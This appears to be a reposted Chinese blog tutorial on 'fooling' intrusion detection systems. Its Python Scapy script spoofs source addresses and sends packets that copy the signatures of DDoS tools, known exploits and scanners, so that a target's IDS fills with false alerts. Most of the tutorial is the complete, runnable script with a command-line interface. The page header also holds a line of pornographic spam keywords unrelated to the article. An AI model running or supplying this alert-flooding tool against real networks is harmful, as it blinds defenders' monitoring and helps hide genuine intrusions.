日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 运维知识 > windows >内容正文

windows

Python Scapy 愚弄入侵检测系统

發布時間:2023/12/18 windows 39 豆豆
生活随笔 收集整理的這篇文章主要介紹了 Python Scapy 愚弄入侵检测系统 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

所謂愚弄入侵檢測系統,其原理是使通過制造假的攻擊跡象來觸發IDS警報,從而讓目標系統產生大量警告而難以作出合理的判斷,利用Scapy這個第三方Python庫,可以很好的實現對入侵檢測系統的愚弄。

首先分析觸發報警條件假設為TFN探針:ICMP id為678,ICMP type為8,內容含有"lyshark"則觸發報警,我們只要構造這個ICMP包并發送到目標主機即可。

#!/usr/bin/python #coding=utf-8 from scapy.all import *# 觸發DDoS警報 def fuck_ddos(src, dst, iface, count):pkt = IP(src=src, dst=dst) / ICMP(type=8, id=678) / Raw(load='lyshark')send(pkt, iface=iface, count=count)pkt = IP(src=src, dst=dst) / ICMP(type=0) / Raw(load='AAAAAAAAAA')send(pkt, iface=iface, count=count)pkt = IP(src=src, dst=dst) / UDP(dport=31335) / Raw(load='PONG')send(pkt, iface=iface, count=count)pkt = IP(src=src, dst=dst) / ICMP(type=0, id=456)send(pkt, iface=iface, count=count)src = "192.168.1.100" dst = "192.168.1.200" iface = "eth0" count = 1 fuck_ddos(src, dst, iface, count)

再比如,當含有指定字節序列就會觸發警報,為了生成含有該指定字節序列的數據包,可以使用符號\x,后面跟上該字節的十六進制值。

# 觸發exploits警報 def exploitTest(src, dst, iface, count):pkt = IP(src=src, dst=dst) / UDP(dport=518) / Raw(load="\x01\x03\x00\x00\x00\x00\x00")send(pkt, iface=iface, count=count)pkt = IP(src=src, dst=dst) / UDP(dport=635) / Raw(load="^\xB0\x02\x89\x06\xFE\xC8")send(pkt, iface=iface, count=count)

接著偽造并觸發踩點掃描警報,只要我們數據包中含有特定的特征碼即可觸發警報,我們構造一下。

def scanTest(src, dst, iface, count):pkt = IP(src=src, dst=dst) / UDP(dport=7) / Raw(load='cybercop')send(pkt)pkt = IP(src=src, dst=dst) / UDP(dport=10080) / Raw(load='Amanda')send(pkt, iface=iface, count=count)

最后我們整合代碼,生成可以觸發DDoS、exploits以及踩點掃描警報的數據包。

#coding=utf-8 import optparse from scapy.all import * from random import randint# 觸發DDoS警報 def ddosTest(src, dst, iface, count):pkt = IP(src=src, dst=dst) / ICMP(type=8, id=678) / Raw(load='lyshark')send(pkt, iface=iface, count=count)pkt = IP(src=src, dst=dst) / ICMP(type=0) / Raw(load='AAAAAAAAAA')send(pkt, iface=iface, count=count)pkt = IP(src=src, dst=dst) / UDP(dport=31335) / Raw(load='PONG')send(pkt, iface=iface, count=count)pkt = IP(src=src, dst=dst) / ICMP(type=0, id=456)send(pkt, iface=iface, count=count)# 觸發exploits警報 def exploitTest(src, dst, iface, count):pkt = IP(src=src, dst=dst) / UDP(dport=518) / Raw(load="\x01\x03\x00\x00\x00\x00")send(pkt, iface=iface, count=count)pkt = IP(src=src, dst=dst) / UDP(dport=635) / Raw(load="^\xB0\x02\x89\x06\xFE")send(pkt, iface=iface, count=count)# 觸發踩點掃描警報 def scanTest(src, dst, iface, count):pkt = IP(src=src, dst=dst) / UDP(dport=7) / Raw(load='cybercop')send(pkt)pkt = IP(src=src, dst=dst) / UDP(dport=10080) / Raw(load='Amanda')send(pkt, iface=iface, count=count)if __name__ == '__main__':# -s參數指定發送的源地址,-c參數指定發送的次數。parser = optparse.OptionParser('main.py -i <iface> -s <src> -t <target> -c <count>')parser.add_option('-i', dest='iface', type='string', help='specify network interface')parser.add_option('-s', dest='src', type='string', help='specify source address')parser.add_option('-t', dest='tgt', type='string', help='specify target address')parser.add_option('-c', dest='count', type='int', help='specify packet count')(options, args) = parser.parse_args()if options.iface == None:iface = 'eth0'else:iface = options.ifaceif options.src == None:src = '.'.join([str(randint(1,254)) for x in range(4)])else:src = options.srcif options.tgt == None:exit(0)else:dst = options.tgtif options.count == None:count = 1else:count = options.countddosTest(src, dst, iface, count)exploitTest(src, dst, iface, count)scanTest(src, dst, iface, count)

總結

以上是生活随笔為你收集整理的Python Scapy 愚弄入侵检测系统的全部內容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。